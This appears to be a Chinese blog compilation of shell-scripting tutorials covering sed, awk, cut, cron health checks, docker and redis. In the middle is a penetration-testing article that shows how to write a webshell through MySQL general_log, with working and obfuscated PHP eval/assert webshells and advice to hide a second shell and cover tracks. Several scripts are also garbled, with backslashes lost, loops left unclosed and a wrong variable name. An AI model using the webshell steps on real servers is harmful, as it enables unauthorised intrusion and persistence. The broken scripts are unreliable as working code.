shell脚本之sed使用—-替换、变量、转义字符

sed替换的基本语法为:

—-s后面跟的是分隔符,原字符串可使用.*这种正则表达式进行整行替换

代码如下:

sed 's/原字符串/替换字符串/'

单引号里面,s表示替换,三根斜线中间是替换的样式,特殊字符需要使用反斜线””进行转义,但是单引号”‘”是没有办法用反斜线””转义的,这时候只要把命令中的单引号改为双引号就行了,例如:

代码如下:

sed "s/原字符串包含'/替换字符串包含'/" //要处理的字符包含单引号

命令中的三根斜线分隔符可以换成别的符号,这在要替换的内容有较多斜线是较为方便,只需要紧跟s定义即可,例如换成问号”?”:

代码如下:

sed 's?原字符串?替换字符串?' //自定义分隔符为问号

可以在末尾加g替换每一个匹配的关键字,否则只替换每行的第一个,例如:

代码如下:

sed 's/原字符串/替换字符串/' //替换所有匹配关键字

上箭头”^”表示行首,美元”$”符号如果在引号中表示行尾,但是在引号外却表示末行(最后一行),这里犯二了,搜了半天哪个符号表示首行,半天才想起来,首行就是数字”1″啊.那么在行首和行尾添加字符串就是把行尾和行首替换,例如:

代码如下:

sed 's/^/添加的头部&/g' //在所有行首添加 
sed 's/$/&添加的尾部/g' //在所有行末添加 
sed '2s/原字符串/替换字符串/g' //替换第2行 
sed '$s/原字符串/替换字符串/g' //替换最后一行 
sed '2,5s/原字符串/替换字符串/g' //替换2到5行 
sed '2,$s/原字符串/替换字符串/g' //替换2到最后一行

替换样式可以多个在同一条命令中执行,用分号”;”分隔,例如:

代码如下:

sed 's/^/添加的头部&/g;s/$/&添加的尾部/g' //同时执行两个替换规则

sed处理过的输出是直接输出到屏幕上的,要保存可以将输出重定向,或者使用参数”i”直接在文件中替换:

代码如下:

sed -i 's/原字符串/替换字符串/g' filename //替换文件中的所有匹配项

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

首先是Sed里使用变量的问题

网上有人总结了四种方案:

1.       eval sed 's/$a/$b/' filename

2.       sed "s/$a/$b/" filename

3.       .sed 's/'$a'/'$b'/' filename

4.       .sed s/$a/$b/ filename

我比较喜欢第二种,也就是:Sed后面的表达式一般用单引号引起来(’),当需要使用变量时就换用双引号(”)。

关于单双引号的区别:

单引号:shell处理命令时,对其中的内容不做任何处理。即此时是引号内的内容是sed命令所定义的格式。

双引号:shell处理命令时,要对其中的内容进行算术扩展。如果想让shell扩展后得到sed命令所要的格式,使用命令:sed -n “/\\$/p” haha,扩展后得到的结果即\$.

因此对于语句类似:

$Comfilename="/home/evan/sandbox/Main/"
  1. echo $Comfilename | sed ‘s#/#\/#g’

  2. echo $Comfilename | sed “s#/#\/#g”

第一个的结果是:/home/evan/sandbox/Main/

而第二个还是:/home/evan/sandbox/Main/ 因为双引号会将“/“解释为”/“,所以sed “s#/#\/#g”被Shell解释成了sed s#/#/#g 到sed里执行时又把”/“转义为”/“了,这样相当于进行了了两次解释,就得不到想要的结果了。

这个例子告诉我当没必要用双引号的的时候就不要用,要不然说不定什么时候你就会很郁闷。Sed使用的变量里含有转义字符的解决当然单引号效率要比双引号高也是不要滥用双引号的原因之一。

言归正传,如何在sed的变量里使用那些特殊的需要转义的字符呢?

网上提出的一种方法是将sed里表示替换用的s后面的表示分隔用的字符换成别的变量里没有的字符这样就相当于变量里没有要转义的字符了。

如:

sed –i "s# $Comfilename#/Root/#" filename.list

这是一个好办法。但很不幸我需要的是删除“d”不是替换“s“。当我把同样的方法用于删除时似乎没有起到作用:sed –i “# $Comfilename#d” filename.list

于是只能自己手工先改写变量

$Comfilename="/home/evan/sandbox/Main/"
Tempname=` echo $Comfilename | sed 's#/#\/#g'`

(这里把反单引号执行的结果给临时变量,同样的方法可以改写其他需要转义的符号。)

sed –i "# $ Tempname #d" filename.list

awk中使用shell变量

其实在awk里,是不能直接使用shell变量的
方法是:awk -v 选项让awk 里使用shell变量

TIME=60 
awk -v time="$TIME" 'BEGIN{FS="|"} {if ($7>time) print $2 }' 

这样要注意:在awk里,time不能加$符号。

网上说如下方法都可行:

一:”‘$var’”

这种写法大家无需改变用’括起awk程序的习惯,是老外常用的写法.如:

var="test" 
awk 'BEGIN{print "'$var'"}'

这种写法其实际是双括号变为单括号的常量,传递给了awk.

如果var中含空格,为了shell不把空格作为分格符,便应该如下使用:

var="this is a test" 
awk 'BEGIN{print "'"$var"'"}' 

二:’”$var”‘

这种写法与上一种类似.如果变量含空格,则变为’””$var””‘较为可靠.

三.把括起awk程序的”变为””,使用”$var”

如:

$var="this is a test" 
awk 'BEGIN{print "$var"}" 

这是因为在””里$是特殊字符,而在”里$是普通字符.

四:export 变量,使用ENVIRON[“var”]形式,

如:

$var="this is a test";export $var 
awk 'BEGIN{print ENVIRON["var"]}' 

五:当然也可以使用-v选项

如:

$var="this is a test" 
awk -v nvar="$var" '{print nvar}'

这样便把系统变量定义成了awk变量.

Shell 实现 docker 的健康检查及服务重启功能

最近配置一台 CentOS 7.1 的服务器, 安装了 docker-ce 版本为: Docker version 17.09.1-ce, 启用 docker swarm, 创建 stack 时,发现如下错误:

start container failed: subnet sandbox join failed for "10.255.0.0/16": overlay subnet 10.255.0.0/16 failed check with host route table: requested network overlaps with existing network

具体错误如图:

未分类

原因可能是上层网络占用了 10.255.0.0/16 的部分网段导致。 所以只有放弃 swarm 模式,由于应用比较简单,所以只需使用 docker-compose 就够啦, 只是docker 自带的健康检查失去了意义,只是标识是否健康,没有进程监控健康的状态及恢复服务的操作。
最后决定使用 SHELL 实现这一功能。

先写好自己的docker-compose.yml, 比如PHP+NGINX+REDIS的服务,具体如下:

version: '3.3'
services:
  redis:
    image: redis:3
    restart: always
    volumes:
      - /xmisp/redis/conf:/usr/local/etc/redis
      - /xmisp/redis/data:/var/lib/redis
      - /xmisp/redis/log:/var/log/redis
    ports:
      - 10.0.21.30:6379:6379/tcp
    command: ["redis-server", "/usr/local/etc/redis/redis.conf"]
  php:
    image: davinbao/php-fpm:latest
    restart: always
    volumes:
      - /xmisp/php/conf/www.conf:/usr/local/etc/php-fpm.d/www.conf:ro
      - /xmisp/php/log:/var/log/php-fpm
      - /xmisp/www:/home/www
    ports:
      - 10.0.21.30:9000:9000/tcp
  nginx:
    image: davinbao/nginx:latest
    restart: always
    volumes:
      - /xmisp/nginx/conf:/etc/nginx/conf.d
      - /xmisp/nginx/log:/var/log/nginx
      - /xmisp/www:/home/www
    ports:
      - 80:80/tcp

SHELL 实现健康检查及重启服务, 具体如下:

#!/bin/bash

ADDRESS=$1
COMPOSE_FILE=$2
STATE=0


while true ;do

    HTTP_CODE=`curl -I -m 10 -o /dev/null -s -w %{http_code}"n" ${ADDRESS}`
    if [ "${HTTP_CODE}" != 200 ];then
        let STATE=STATE+1
        echo `date +"%Y-%m-%d %H:%M:%S"` The ${STATE} time can not access
    else
        echo `date +"%Y-%m-%d %H:%M:%S"` Success
        break
    fi

    if [ $STATE -gt 2 ];then
        echo Can not access ${ADDRESS} ,service will reboot!
        docker-compose -f ${COMPOSE_FILE} down
        docker-compose -f ${COMPOSE_FILE} up -d
        break
    fi
    sleep 15

最后配置 crontab 每两分钟执行该脚本:

> crontab -e

*/2 * * * * /xmisp/www/redirect-system/health_check.sh http://localhost /xmisp/www/redirect-system/docker-compose.yml >> /xmisp/www/redirect-system/storage/logs/health_check.log

脚本的功能是每两分钟检查一次80端口,如果不通,将重启整个服务。

详解shell中source、sh、bash、./执行脚本的区别

1、source命令用法

source FileName

  
作用:在当前bash环境下读取并执行FileName中的命令。该filename文件可以无”执行权限”

注:该命令通常用命令“.”来替代。

如:source .bash_profile

. .bash_profile两者等效。

source(或点)命令通常用于重新执行刚修改的初始化文档。

source命令(从 C Shell 而来)是bash shell的内置命令。

点命令,就是个点符号,(从Bourne Shell而来)。

2、sh和bash命令用法

sh FileName
bash FileName

作用:在当前bash环境下读取并执行FileName中的命令。该filename文件可以无”执行权限”

注:两者在执行文件时的不同,是分别用自己的shell来跑文件。

sh使用“-n”选项进行shell脚本的语法检查,使用“-x”选项实现shell脚本逐条语句的跟踪,

可以巧妙地利用shell的内置变量增强“-x”选项的输出信息等。

3、./的命令用法

./FileName

作用:打开一个子shell来读取并执行FileName中命令。

注:运行一个shell脚本时会启动另一个命令解释器.

每个shell脚本有效地运行在父shell(parent shell)的一个子进程里.

这个父shell是指在一个控制终端或在一个xterm窗口中给你命令指示符的进程.

shell脚本也可以启动他自已的子进程.

这些子shell(即子进程)使脚本并行地,有效率地地同时运行脚本内的多个子任务.

shell的嵌入命令:

  • : 空,永远返回为true
  • . 从当前shell中执行操作
  • break 退出for、while、until或case语句
  • cd 改变到当前目录
  • continue 执行循环的下一步
  • echo 反馈信息到标准输出
  • eval 读取参数,执行结果命令
  • exec 执行命令,但不在当前shell
  • exit 退出当前shell
  • export 导出变量,使当前shell可利用它
  • pwd 显示当前目录
  • read 从标准输入读取一行文本
  • readonly 使变量只读
  • return 退出函数并带有返回值
  • set 控制各种参数到标准输出的显示
  • shift 命令行参数向左偏移一个
  • test 评估条件表达式
  • times 显示shell运行过程的用户和系统时间
  • trap 当捕获信号时运行指定命令
  • ulimit 显示或设置shell资源
  • umask 显示或设置缺省文件创建模式
  • unset 从shell内存中删除变量或函数
  • wait 等待直到子进程运行完毕

下面再看下 shell 脚本各种执行方式(source ./.sh, . ./.sh, ./*.sh)的区别

结论一: ./.sh的执行方式等价于sh ./.sh或者bash ./*.sh,此三种执行脚本的方式都是重新启动一个子shell,在子shell中执行此脚本。

结论二: .source ./.sh和 . ./.sh的执行方式是等价的,即两种执行方式都是在当前shell进程中执行此脚本,而不是重新启动一个shell 而在子shell进程中执行此脚本。

验证依据:没有被export导出的变量(即非环境变量)是不能被子shell继承的

验证结果:

[root@localhost ~]#name=dangxu    //定义一般变量 
[root@localhost ~]# echo ${name} 
dangxu 
[root@localhost ~]# cat test.sh   //验证脚本,实例化标题中的./*.sh 
#!/bin/sh 
echo ${name} 
[root@localhost ~]# ls -l test.sh  //验证脚本可执行 
-rwxr-xr-x 1 root root 23 Feb 6 11:09 test.sh 
[root@localhost ~]# ./test.sh    //以下三个命令证明了结论一 
[root@localhost ~]# sh ./test.sh 
[root@localhost ~]# bash ./test.sh 
[root@localhost ~]# . ./test.sh   //以下两个命令证明了结论二 
dangxu 
[root@localhost ~]# source ./test.sh 
dangxu 
[root@localhost ~]# 

总结

以上所述是小编给大家介绍的shell中source、sh、bash、./执行脚本的区别,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对编程小技巧网站的支持!

Linux中利用shell脚本定时检测mysql状态,实现自动重启

问题简介

未分类

最近几个月网站服务器老是半夜挂掉,罪魁祸首就是 mysql 自动停止导致的,那就头痛医头,想办法让Mysql 自动启动起来。要解决这个mysql无规律自动停掉的问题,首先给服务器加个定时执行任务,每分钟去检测一下数据库服务的运行状态,要是down 掉了,就立马启动起来。

处理步骤

第一步,添加定时任务,使用crontab。

crontab -e
*/1 * * * * /目录/文件名.sh

#表示每分钟执行一次 sh 文件

第二步,编写shell执行文件,代码如下:

#!/bin/bash
pgrep -x mysqld &> /dev/null
if [ $? -ne 0 ]
then
echo “At time: `date` :MySQL is stop .”>> /日志路径
/etc/init.d/mysqld start
else
echo “MySQL server is running .”
fi

这里要注意,不能用

service mysqld/mysql start

命令来启动,会导致mysql启动不了,应使用绝对路径,

/etc/init.d/mysqld start

来启动。

另外,也可以不写入日志。删掉>> /日志路径即可。

完成。

就是这么简单。如发现这样操作了,还没有得到期望的结果,可排查crontab是否执行了相应的任务,脚本权限是否够,脚本内部命令或格式是否正确等方面。

如写入

*/1 * * * * echo “test” >> /var/log/test

检测cron是否正确执行。

再看看crontab的执行历史记录:

cd /var/log
tail -100 cron

若权限不够,则加上权限。

chmod 777 ./shell文件.sh

php+crontab+shell方案实现的秒级定时发起异步请求回调方案

方案介绍

该方案出来的场景:一天有一个业务需求,需要把我方的一些信息或订单状态等异步发起请求同步给第三方,这里就会出现定时时间和延迟时间消息的处理,考虑过很多消息队列方案(如:rabbitmq、云消息服务等)。

不过最后公司定了因为该业务流量很小,不用做那么麻烦。所以就直接出了这个方案

该方案在50条消息/s,应该压力不大,量大了就会出现一个消息延迟问题,如果不注重这个业务时间准确性,该方案承载的秒级处理在1000内应该问题也不大

方案架构图

未分类

mysql的任务队列表

CREATE TABLE `open_queue` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `type` tinyint(4) unsigned NOT NULL DEFAULT '0' COMMENT '任务类型,可用于后续读取不同任务失败次数区分',
  `order_id` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '业务绑定的订单id等,根据自己自行设计业务id',
  `event_identity` varchar(30) NOT NULL DEFAULT '' COMMENT '事件表示分类,可不用,同type',
  `data` text NOT NULL COMMENT '需要处理的数据,json格式化',
  `try` tinyint(4) unsigned NOT NULL DEFAULT '1' COMMENT '特定任务需要当时就处理的次数,而不是发起回调请求的任务',
  `again` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '0不是重试记录 1重试记录,失败后发起任务未1,否者未0',
  `status` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否被执行 1是 0否',
  `create_time` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '任务创建的时间戳',
  `at_time` int(11) unsigned NOT NULL DEFAULT '0' COMMENT '任务时间的时间戳',
  `task_status` tinyint(1) NOT NULL DEFAULT '0' COMMENT '执行结果 -1重复消息系统主动取消 0未执行 1执行成功 2执行失败',
  `task_time` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '执行时间',
  PRIMARY KEY (`id`),
  KEY `IDX_EVENT` (`event_identity`),
  KEY `IDX_AT_TIME` (`at_time`) USING BTREE,
  KEY `IDX_ORDER` (`order_id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;

方案实现源码

下方代码都是伪代码,大家自行根据思路自己设计业务

redis同步到mysql

该步骤可以省略,因为我方当时redis是单机部署,也没做持久化,

$redisTypeLock; //lock类型
if (!IS_WIN) {
    $file = fopen($path . "/lock/{$redisTypeLock}.lock","w+");
    if (!flock($file, LOCK_EX | LOCK_NB)) {
        flock($file,LOCK_UN);
        fclose($file);
        exit;
    }
}

//成功获得锁 开始业务执行

$count = get_redis_lLen('msgevent:' . $redisType);
if (!$count) {
    //无需要入数据库订单队列,直接返回
    return false;
}

$successCount = 0;
for ($i = 0; $i < $loopLen; $i++) {
    $data = get_redis_lPop('msgevent:' . $redisType);
    //把redis数据格式化存入到数据库持久化
    $result = $this->saveToMysql($data);
    if (!$result) {
        //如果执行失败,重新推入redis队列
        get_redis_lPush('msgevent:' . $redisType, $data);
    }

    $successCount++;
}

if (!IS_WIN) {
    flock($file, LOCK_UN);
    fclose($file);
}

定时执行任务的的入口

这个入口是定时秒级处理脚本和处理小于当前时间的脚本调用的入口

public function task_run()
{
    $timeType = $_GET['tt'] ? : 'now';
    //获取当前秒需要处理的所有消息, 依次路由后执行
    //如果你redis无需存入mysql,你可以redis的list结构实现, 一次全部取出数据集合,并删除list
    //如果接下去业务里发现发起请求失败了,重新把任务分配给redis建立恢复list,list名为t+需要什么时间执行的时间戳
    $lists = $this->getTaskLists($timeType);
    foreach ($lists as $item) {
        $this->task('event:' . $item['event_type']);
        //$this->task('event:demo1');
        //$this->task('event:demo2');
        //$this->task('event:demo3');
    }
}

实际处理业务(发起通知请求)

# 模拟一个发起的请求事件demo
private function pushDemo1Event($info)
{
    $sendInfoData = $this->getSendInfoFromInfo($info);

    //发起请求,这里做的真正的发起给对方的请求,你可以根据$sendInfo拼接各种事件或消息分类给对方
    $isSuccess = $this->sendInfo($sendInfoData);

    $data = array(
        'status'        => 1,
        'task_status'   => $isSuccess ? 1 : 2,
        'task_time'     => NOW_TIME
    );

    $db->save($data);

    //如果执行失败,重新插入一条记录,并把at_time生成下次执行的时间戳,这样定时器根据at_time字段可以取出判断执行到当时的秒级
    if (!$isSuccess) {

        $tryCount = $db->where(...)->count();

        if ($tryCount >= 5) {
            return false;
        }

        $this->newTask($info, $tryCount, 30);
    }
}

private function newTask($info, $tryCount, $timeout = 30)
{
    $newTime = $this->nextTaskTime($info, $timeout);
    $data = array(
        ...
        'at_time' => newTime //执行的时间(时间戳)
    );
    $db->add($data);
}

定时消费方

$timeType = $_GET['time_type'] ? : 'now';
$lists = $this->getMsgAll($timeType);
if (!$lists) {
    return false;
}

foreach ($lists as $item) {
    if ($item['type'] == '1') {
        //根据业务生成我方真实订单
        call_user_func_array(array($this, "add_real_order"), array($item));
    }
    if (in_array($item['type'], array(2,3))) {
        $this->push('push:toengineer', $item);  //指派或取消工程师
    }
    if ($item['type'] == '5') {
        $this->push('push:edit', $item);  //编辑
    }
    if ($item['type'] == '6') {
        $this->push('push:cancel', $item);  //取消
    }
    if ($item['type'] == '7' || $item['type'] == '8' || $item['type'] == '9') {
        $this->push('push:status', $item);  //简单订单状态
    }
}

借助crontab+shell外力实现秒级执行

因为crontab是最小单位是分钟,所以需要借助shell脚本来实现秒级执行

读取redis任务队列到mysql存储

#!/bin/bash
cd /web/project/src
for (( i = 1; i < 60; i = i + 1 ))
do
    #执行php直接返回,不会阻塞 不要忘记最后面的 &
    $(/usr/bin/php index.php redis2mysql > /dev/null 2>&1 &)
    sleep 1
done

exit 0

处理秒级时间sh脚本

#!/bin/bash
cd /web/project/src
for (( i = 1; i < 60; i = i + 1 ))
do
    $(/usr/bin/php index.php task_run > /dev/null 2>&1 &)
    sleep 1
done

exit 0

处理秒级小于当前时间sh脚本

#!/bin/bash
cd /web/project/src
for (( i = 1; i < 60; i = i + 1 ))
do
    $(/usr/bin/php index.php task_run/tt/lt > /dev/null 2>&1 &)
    sleep 1
done

exit 0

linux下的crontab

* * * * * sh /web/project/src/shell/repair_build_order.sh
* * * * * sh /web/project/src/shell/repair_sync_second.sh
* * * * * sh /web/project/src/shell/repair_sync_lt_time.sh

利用mysql general log 写shell 可行性简要分析

0×01 前言

实际渗透过程中,我们很可能会遇到这样的情况,明明是正儿八经的mysql root权限,但实际利用into outfile写shell的时候,却怎么都写不进去,前提可以肯定的是,我们对目标的网站目录绝对是有写权限的且mysql的root用户本身并没有被降权,一般出现这样的情况很可能就是因为into outfile被禁用或waf拦截,希望下面的方式能帮到你

未分类

0×02 拿shell

利用mysql日志文件来写shell,究其原理其实也非常简单,当我们开启general_log以后,每执行一条sql都会被自动记录到这个日志文件中,我们就可以通过这种方式,把我们的shell代码也自动写进去,运维可能平时都是拿这个来查慢查询,只会临时开启下,所以,如果想利用,就只能我们自己手动开,这就是为什么要root权限才行,因为它涉及到mysql自身参数配置,其实,这里稍微有点儿mysql常识心里都很清楚:

先看下当前mysql默认的日志位置在什么地方,’C:ProgramDataMySQLMySQL Server 5.5Data2008R2DC.log’
顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来

mysql> show variables like '%general%';

默认基本都是关闭的,不然这个增删改查的记录量可能会非常大

mysql> set global general_log = on;    

未分类

此时,再将原本的日志文件位置指向到目标网站的物理路径

mysql> set global general_log_file = 'C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/abouts.php';

开始写shell,这里就是个普通的shell,不免杀,如果有waf的话,可以用下面的免杀shell

mysql> select '<?php eval($_POST[request]);?>';    

未分类

未分类

未分类

mysql> select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";    免杀shell,eval方式
mysql> SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['klion']));?>";     别人的免杀shell,assert&base64encode方式

0×03 务必要处理好后事

最后,干完活儿以后务必记得把配置恢复原状,然后悄悄的离开就好
[不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡]
拿到shell记得马上再传一个shell[放的隐蔽点,关于webshell隐藏细节,请参考博客相关文章]
然后再通过新的shell把最开始这个shell删掉,谨慎一点,起码不会让你的shell掉的那么快

mysql> set global general_log_file = 'C:ProgramDataMySQLMySQL Server 5.5Data2008R2DC.log';
mysql> set global general_log = off;

0×04 后话

并不是什么特别新奇的技巧,都是mysql自身的一些基础特性挖掘利用,大家真正的理解才是主要的,利用过程中可能并非一帆风顺,把解决问题的过程记录下来,才是你真正的收获,祝大家好运

0×05 想成功利用的两个必要条件

事先要想办法找到目标站点的物理路径,不然要把log指向哪里呢
因为我们从外部能访问并执行webshell的地方只有目标的网站目录
当前数据库服务用户对所上面指向的目标网站目录必须能写,不然,log文件是根本没法创建的
其实,说实话,能同时满足这两点的目标并不多
如果目标网站对错误处理的很好,web服务用户和数据库用户权限隔离很清晰基本也是很难利用成功的,确实略显积累,但不失为一种好思路,非常值得拓展
像这种东西可能还是比较适合那些集成环境,比如,appserv,xampp…
因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高[实际上多数都直接是system]

shell中字符串截取命令:cut,printf,awk,sed

一、cut

  • cut 命令不能在分割符是空格的字符串中截取列,只能是 制表符 或 具体的分割符。

1、选项

  • -b :仅显示行中指定直接范围的内容;
  • -c :仅显示行中指定范围的字符;
  • -d :指定字段的分隔符,默认的字段分隔符为”TAB”;
  • -f :显示指定字段的内容;
  • -n :与”-b”选项连用,不分割多字节字符;
  • –complement :补足被选择的字节、字符或字段;
  • –out-delimiter=<字段分隔符> :指定输出内容是的字段分割符;
  • –help :显示指令的帮助信息;
  • –version :显示指令的版本信息。

2、使用

  • -d :分隔符 ( –delimiter 按照指定分隔符分割列 )
  • -b : 表示字节
  • -c : 表示字符
  • -f : 表示字段(列号) ( –field 提取第几列 )
  • N- : 从第N个字节、字符、字段到结尾
  • N-M : 从第N个字节、字符、字段到第M个
  • -M : 从第一个字节、字符、字段到第M个
$> cat user.txt
01, zhang, M, 18
02, wang, M, 20
03, li, M, 21

# 以","分隔,显示第二列
$> cut -d "," -f 2 user.txt
 zhang
 wang
 li

# 以","分隔,显示第1列和第3列
$> cut -d "," -f 1,3 user.txt
01, M,
02, M,
03, M,

# 以","分隔,显示第1-3列
$> cut -d "," -f 1-3 user.txt
01, zhang, M,
02, wang, M,
03, li, M,

# 以","分隔,显示除第1列以外的其他列
$> cut -d "," -f 1 --complement user.txt
 zhang, M, 18
 wang, M, 20
 li, M, 21
## 注意前面是有空格的!

###### 字符串
$> cut -c1-5 user.txt
01, zh
02, wa
03, li

二、printf

  • printf ‘输出类型输出格式’ 内容

1、输出类型

  • %ns: 输出字符串。n是数字,指输出几个字符
  • %ni: 输出整数。n是数字,指输出几个数字
  • %m.nf: 输出浮点数。m和n是数字,分别指输出的整数位数和小数位数。如%8.2f代表共输出8位数,其中2是小数,6是整数。

2、输出格式

  • a : 输出警告声音
  • b : 输出退格键,也就是Backspace键
  • f : 清除屏幕
  • n : 换行
  • r : 回车,也就是Enter键
  • t : 水平输出退格键,也就是Tab键
  • v : 垂直输出退格键,也就是Tab键
printf %s 1 2 3 4 5 6 # 把123456当成一个字符串输出,没有格式
printf %s %s %s 1 2 3 4 5 6 # 把%s%s123456当做字符串输出,没有格式
printf '%s ' 1 2 3 4 5 6 # 把1 2 3 4 5 6当做字符串输出,输出格式为空格
printf '%sn' 1 2 3 4 5 6 # 输出格式为1个一行
printf '%s %s %s' 1 2 3 4 5 6 # 把内容当做字符串三个为一组输出,1 2 34 5 6
printf '%s %s %sn' 1 2 3 4 5 6 # 输出格式为3个一行
printf '%s' $(cat user.txt) # 输出文本内容为字符串
printf '%st %st %st %sn' $(cat user.txt)  # 把文本内容格式化输出
  • 建议 man printf 查看可用的输出格式,和C的 printf 格式一样。

三、awk

1、命令

awk ‘条件1{动作1} 条件2{动作2} …’ 文件名
( 如果条件1,执行动作1;如果条件2,执行动作2 )

2、条件(pattern):一般使用关系表达式作为条件

  • x > 10 : 判断变量x是否大于10
  • x >= 10 : 大于等于
  • x <= 10 : 小于等于

3、动作(Action)

  • 格式化输出
  • 流程控制语句

4、例子

# 大括号前面没有条件,直接执行命令,这里的printf 是awk的命令,$2 提取文件第二列,$3 提取文件第三列,$0 提取所有列
awk '{printf $2 "t" $3"n"}' user.txt

# 打印三列,这里的print是awk的命令,系统并没有print命令,所以只能在awk里使用;与printf的区别是:print会自动在行尾加换行符,而printf不会
df -h | awk '{print $1 "t" $5 "t" $6 "t"}'

# 提取系统已使用硬盘空间,可以把结果赋给一个变量,判断是否大于某个值,进行报警
df -h | grep sda3 | awk '{print $5}' | cut -d '%' -f 1

# 查看剩余内存不包含单位M
free -h | grep Mem | awk '{print $4}' | cut -d 'M' -f 1

5、说明

  • grep 取行,awk 按条件取指定列,cut 按分隔符取指定列。
  • BEGIN:先执行一条多余的动作
awk 'BEGIN{print "this is a text"} {print $2 "t" $3}' user.txt
  • END:用于在所有命令处理完之后执行
  • FS内置变量:用于定义分割符,如果需要手工定义分割符,一定要在分割符前面加BEGIN;
awk 'BEGIN{FS=":"} END{print "this is end text"} {print $1 "t" $3}' /etc/passwd
  • BEGIN、END也是条件。

  • 关系运算符:

# user.txt中不包含ID这行,提取满足条件为第四列值大于18的第二列
cat user.txt | grep -v ID | awk '$4 > 18 {printf $2 "n"}'

四、sed

sed主要是用来将数据进行选取、替换、删除、新增的命令。可以放在管道符之后处理。

1、命令

  • sed [选项] ‘[动作]’ 文件名
  • sed命令有两种形式:sed [options] ‘command’ file(s);sed [options] -f scriptfile file(s)

2、选项

  • -n : 一般sed命令会把所有数据都输出到屏幕;如果加入此选项,则只会把经过sed命令处理的行输出到屏幕。
    • sed -n ‘2p’ user.txt # 输出第二行
  • -e : 允许对输入数据应用多条sed命令编辑
  • -f : 添加脚本文件的内容到执行的动作
  • -i : 用sed的修改结果直接修改读取数据的文件,而不是由屏幕输出

3、动作:(要加双引号)

  • `a` : 追加,在当前行后添加一行或多行。添加多行时,除最后一行外,每行末尾需要用””代表数据未完结。
  • `c` : 行替换,用c后面的字符串替换原数据行,替换多行时,除最后一行外,每行末尾需要用””代表数据未完结。
  • `i` : 插入,在当前行前插入一行或多行。插入多行时,除最后一行外,每行末尾需要用””代表数据未完结。
  • d : 删除,删除指定的行。
  • p : 打印,输出指定的行。
  • s : 字串替换,用一个字符串替换另外一个字符串。格式为“行范围s/旧字串/新字串/g”(和vim中的替换格式类似)

4、例子

sed -n '2p' user.txt        # 输出第二行, p一般都要和-n使用,不-n会显示出所有的行
df -h | sed -n '2p'          # 管道符结果作为操作内容
sed '2,4d' user.txt        # 删除文件的第2行到第4行,显示剩下的行,没有加 i 选项,不会更改文件内容
sed '2a hello' user.txt      # 在第二行后追加hello,仅仅修改命令输出
sed '2i hello 
  world' user.txt        # 在第二行前插入两行数据,仅仅修改命令输出
sed '2c No person' user.txt    # 把第二行替换为No person
sed '2s/M/F/g' user.txt      # 把第二行的M替换为F后输出
sed -i '2s/M/F/g' user.txt  # 把替换后的结果写入文件
sed -e 's/zhang//g ; s/wang//g' user.txt    # -e 允许多条命令顺序执行,用分号隔开,s前面不加数字表示所有行

shell 格式化输出nginx的编译参数

命令

nginx -V > nginx.txt
cat -n nginx.txt  | sed -n '5,18p' | awk '{$1="";print $0}' 
| sed 's/^[ ]*//g'  | tr 'n' ',' | sed -n 's/,//gp' | tr " " "n"

结果

configure
arguments:
--user=nginx
--group=nginx
--prefix=/usr/share/nginx
--sbin-path=/usr/sbin/nginx
--conf-path=/etc/nginx/nginx.conf
--error-log-path=/var/log/nginx/error.log
--http-log-path=/var/log/nginx/access.log
--http-client-body-temp-path=/var/lib/nginx/tmp/client_body
--http-proxy-temp-path=/var/lib/nginx/tmp/proxy
--http-fastcgi-temp-path=/var/lib/nginx/tmp/fastcgi
--http-uwsgi-temp-path=/var/lib/nginx/tmp/uwsgi
--http-scgi-temp-path=/var/lib/nginx/tmp/scgi
--pid-path=/var/run/nginx.pid
--lock-path=/var/lock/subsys/nginx
--with-http_ssl_module
--with-http_spdy_module
--with-http_v2_module
--with-http_realip_module
--with-http_addition_module
--with-http_xslt_module
--with-http_image_filter_module
--with-http_sub_module
--with-http_dav_module
--with-http_flv_module
--with-http_gzip_static_module
--with-http_secure_link_module
--with-http_degradation_module
--with-http_stub_status_module
--with-debug
--with-http_sysguard_module
--with-http_upstream_check_module
--with-http_lua_module
--with-http_dyups_module
--with-luajit-lib=/usr/lib
--with-luajit-inc=/usr/include/luajit-2.0

解释:

awk '{$1="";print $0}'

输出第2列至最后一列(即排除第一列)

 sed 's/^[ ]*//g'

去掉行首的空格

tr 'n' ',' | sed -n 's/,//gp'

去掉换行符,先把换行符替换成逗号(或者#¥%&等),然后再讲逗号删除。

分享一个删除redis中指定key模式的数据的shell脚本

有很多场景,我们都需要删除redis中某些具有相似特征的key,即使是线上环境也是。如果key数量很小容易处理,如果这些key很多很多,必须通过scan命令循环扫描一一删除,如果直接执行keys命令会堵死redis服务。下面这个脚本就是通过循环扫码key再删除,直至结束。

redis-del-keys.sh

#!/bin/bash
##redis主机IP
host=$1
##redis端口
port=$2
##key模式
pattern=$3
##游标
cursor=0
##退出信号
signal=0

##循环获取key并删除
while [ $signal -ne 1 ]
    do
        echo "cursor:${cursor}"
        sleep 2
        ##将redis scan得到的结果赋值到变量
        re=$(redis-cli -h $host -p $p -c  scan $cursor count 1000 match $pattern)
        ##以换行作为分隔符
        IFS=$'n' 
        #echo $re
        echo 'arr=>'
        ##转成数组
        arr=($re)
        ##打印数组长度
        echo 'len:'${#arr[@]}
        ##第一个元素是游标值
        cursor=${arr[0]}
        ##游标为0表示没有key了
        if [ $cursor -eq 0 ];then
            signal=1
        fi
        ##循环数组
    for key in ${arr[@]}
        do
            echo $key
